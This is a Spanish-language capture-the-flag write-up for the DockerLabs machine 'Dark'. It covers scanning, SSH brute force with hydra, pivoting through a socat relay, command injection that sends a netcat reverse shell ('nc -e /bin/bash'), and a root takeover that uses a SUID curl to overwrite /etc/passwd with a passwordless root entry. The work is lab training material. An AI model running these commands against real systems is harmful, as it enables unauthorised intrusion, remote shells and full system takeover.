> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/dark.md).
# Dark
Datos
* **Máquina** -> Dark
* **Dificultad** -> Medio
* **Creador** -> [makak77](https://dockerlabs.es/)
Como en todos los laboratorios de hacking que hemos desplegado, lo primero que hacemos siempre es verificar conectividad con la máquina víctima, usado el comando `ping` de la siguiente manera:
```bash
ping -c 1 10.10.10.2 -R
```
**Resultado**
```js
PING 10.10.10.2 (10.10.10.2) 56(124) bytes of data.
64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=0.178 ms
RR: 10.10.10.1
10.10.10.2
10.10.10.2
10.10.10.1
--- 10.10.10.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.178/0.178/0.178/0.000 ms
```
El `ttl` es de **64**, lo más probable que estemos frente a una máquina **Linux**, el siguiente paso es crear nuestras carpetas de trabajo con `mkt` y luego hacer un escaneo primario con nuestra herramienta de **Python**.
```bash
PortScanner -i 10.10.10.2 -t 1000 -s 2 -a C V
```
**Resultado**
```js
[+] Autor: Anonymous17
[+] Targeted: 10.10.10.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 22 abierto!
[!] Puerto 80 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [22, 80]
[+] Información de servicios y versiones:
[+] 22/tcp ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
[+] 80/tcp http Apache httpd 2.4.59 ((Debian))
[+] Comprobando vulnerabilidades:
[+] SSH parece seguro contra enumeración de usuarios
[+] Tecnologías detectadas en HTTP:
http://10.10.10.2:80 [200 OK] Apache[2.4.59],
Country[RESERVED][ZZ],
HTML5,
HTTPServer[Debian Linux][Apache/2.4.59 (Debian)],
IP[10.10.10.2],
Title[darkweb],
[*] Evidencia guardada en output.txt
```
Vemos 2 puertos abiertos, 22 -> **ssh** y el puerto 80 -> **Apache**, este último puerto contiene una web que como título tiene **darkweb**, antes de seguir podemos hacer un escaneo con `nmap` de versiones y posibles vulnerabilidades comunes.
```bash
nmap -p 22,80 -sCV 10.10.10.2 -oN targeted.txt
```
**Resultado**
```js
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 22:20 EST
Nmap scan report for 10.10.10.2
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 3f:52:53:45:8b:99:34:47:19:12:64:d1:f4:d4:23:b9 (ECDSA)
|_ 256 c5:04:3d:16:6b:71:f6:a0:74:92:74:9c:a3:7a:80:57 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: darkweb
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds
```
Vemos información similar, así que podemos pasar a la web a buscar más información.
**Página web**
Nos dice que ingresemos una **URL**, podemos probar a levantar un servidor en nuestro equipo y pasar esa **URL** a la máquina víctima a ver si hace la solicitud.
```bash
python -m http.server 80
```
Luego de ingresar la **URL** `http://10.10.10.1/test` vemos el siguiente resultado en nuestra terminal.
```js
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.2 - - [30/Jan/2025 22:27:57] code 404, message File not found
10.10.10.2 - - [30/Jan/2025 22:27:57] "GET /test HTTP/1.1" 404 -
```
En la web vemos que se queda colgado en un archivo llamado `process.php`, antes de seguir viendo estas cosas, podemos intentar hacer **Fuzzing web** y verificar la existencia de más archivos.
```bash
feroxbuster --url http://10.10.10.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html -t 200
```
**Resultado**
Vemos los archivos:
* **process.php**
* **info**
* **index.html**
Veamos que nos dice el archivo **info** el cual llama la atención.
```js
Toni te recuerdo que he publicado las bases de datos de telefonica,la dgt y el banco santander en mi pagina ilegal (20.20.20.3)
```
Encontramos el siguiente mensaje luego de ingresar a la **URL** -> `http://10.10.10.2/info`, nosotros como atacantes tenemos acceso a la máquina **10.10.10.2**, porque tenemos una **IP** en esa red que es la **10.10.10.1**, pero no tenemos conexión con ningún equipo que tenga **IP** **20.20.20.3**, por lo cual deberemos llegar de alguna manera a esa web, primero es interesante saber que en la web de la **10.10.10.2** si ponemos la **URL** -> `http://20.20.20.3` nos muestra lo siguiente.
En cambio, si lo hacemos en nuestro equipo no llegamos a esa web, por lo cual ahora sabemos que la máquina **10.10.10.2** tiene acceso al equipo **20.20.20.3**, ya que debe tener alguna interfaz de red configurada con una **IP** de esa red, por lo cual nuestro objetivo es pivotar de la **10.10.10.2** a la máquina **20.20.20.3**, si recordamos en la nota también mencionan a un tal **toni**, que tal si hacemos fuerza bruta con `hydra` a este usuario para ver si tiene credenciales débiles.
```bash
hydra -l toni -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ssh://10.10.10.2 -t 4 -vV
```
**Resultado**
Y después de esperar un rato encontramos la contraseña **banana** para el usuario **toni**, como es un caso de pivoting usaré **pwncat-cs** para la interacción con la shell.
Entro al `cli` de **pwncat-cs** y nos conectamos vía **ssh**.
```python
connect ssh://toni:banana@10.10.10.2:22
```
Perfecto ya tenemos conexión con la máquina intermedia, ahora veamos si de verdad tiene otra interfaz de red, esto lo podemos hacer de 2 maneras, una, ejecutado el siguiente comando en la máquina víctima.
Que como podemos ver tiene 2 **IP**, y la segunda manera seria usando uno de los módulos que trae **pwncat-cs** incorporado.
Donde también podemos ver las 2 interfaces de **red**, como no es necesario escalar privilegios aquí, ya que el objetivo se encuentra en la máquina **20.20.20.3**, pasaremos a hacer pivoting de una vez, en este punto deberíamos utilizar `chisel` para nosotros tener acceso a la máquina **20.20.20.3**, aunque teniendo acceso a la **maquina2** desde la **maquina1** no es necesario de primera, por lo cual desde la página web de la **maquina1** veré el contenido de la web de la **maquina2**.
Es interesante el parámetro que utiliza el `input` de esta web, dice **cmd**, así que lo primero que se viene a la mente es si podemos ejecutar comandos desde hay, como desde nuestra web no podemos acceder a la **maquina2**, podemos enviar información mediante `curl` desde la **maquina1** el cual si tiene acceso a la **maquina2**, lo haríamos de la siguiente manera.
```bash
curl -X POST -d "cmd= hostname -I" http://20.20.20.3/process.php ; echo
```
Y vemos que efectivamente podemos ejecutar comandos desde hay, por lo cual ahora intentaremos establecer una \[\[Reverse Shells]], primero que todo debemos pasar `socat` a la **maquina1** para poder que la **maquina2** nos vea por decirlo así, tenemos muchas formas de pasar `socat` a la **maquina1**, en mi caso usaré las funcionalidades que me ofrece **pwncat-cs**.
Después de pasar el binario compilado de `socat` con la función **upload**, le doy permiso de ejecución y lo que are ahora es, ponerme en escucha por el puerto 111, desde **pwncat-cs** de la siguiente manera.
Luego entro a la shell de la **maquina1** y ejecuto el siguiente comando con el binario de `socat`.
```js
./socat tcp-l:111,fork,reuseaddr tcp:10.10.10.1:111 2>/dev/null & disown
```
Con este comando la **maquina1** se pondrá en escucha por el puerto 111 y lo que pase por hay lo redirija al puerto 111 de mi maquina donde yo estoy en escucha para recibir una \[\[Reverse Shells]], ahora simplemente puedo enviar mediante `curl` desde la **maquina1** lo siguiente.
```bash
curl -X POST -d "cmd= nc -e /bin/bash 20.20.20.2 111" http://20.20.20.3/process.php
```
En mi caso lo pondré dentro de un script junto a un `sleep` de 3 segundos y luego de dar permisos de con `chmod` lo ejecuto.
Como podemos ver, ahora hemos recibido una reverse shell que no es más que de la **maquina2**, aunque diga la **IP** **10.10.10.2** es porque pasa por ese túnel mediante `socat`, podemos usar **pwncat-cs** para comprobarlo.
Estamos como el usuario `www-data` y la **IP** es **20.20.20.3**, ahora entraremos a una shell y veremos si podemos escalar privilegios.
No tenemos la contraseña de `www-data` para ver que cosas puede ejecutar como **root**, pero si encontramos un binario **SUID** interesante -> `curl`, el cual si podemos ejecutarlo como **root**, podemos usar herramientas como `searchbins` para ver la manera de explotar estos tipos de binario.
Con esto ya nos podemos dar una idea de como explotar el binario `curl` y volveros **root**, vamos a seguir los siguientes pasos.
Luego de copiar el `passwd` lo modificamos con `nano` dejándolo de la siguiente manera:
```js
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
Luego guardamos con **Ctrl + o** luego **Enter** y salimos.
Ahora los últimos pasos finales:
Y si todo funciono correctamente, habremos modificado el `/etc/passwd` de tal manera que el usuario **root** no necesitaría contraseña y podemos convertirnos en **root** de la siguiente manera:
Con esto podemos dar por concluido el laboratorio de pivoting, usando **pwncat-cs** en varias ocasiones para entrar a la shell o salir de una \[\[Reverse Shells]] uso el atajo **Ctrl + d**.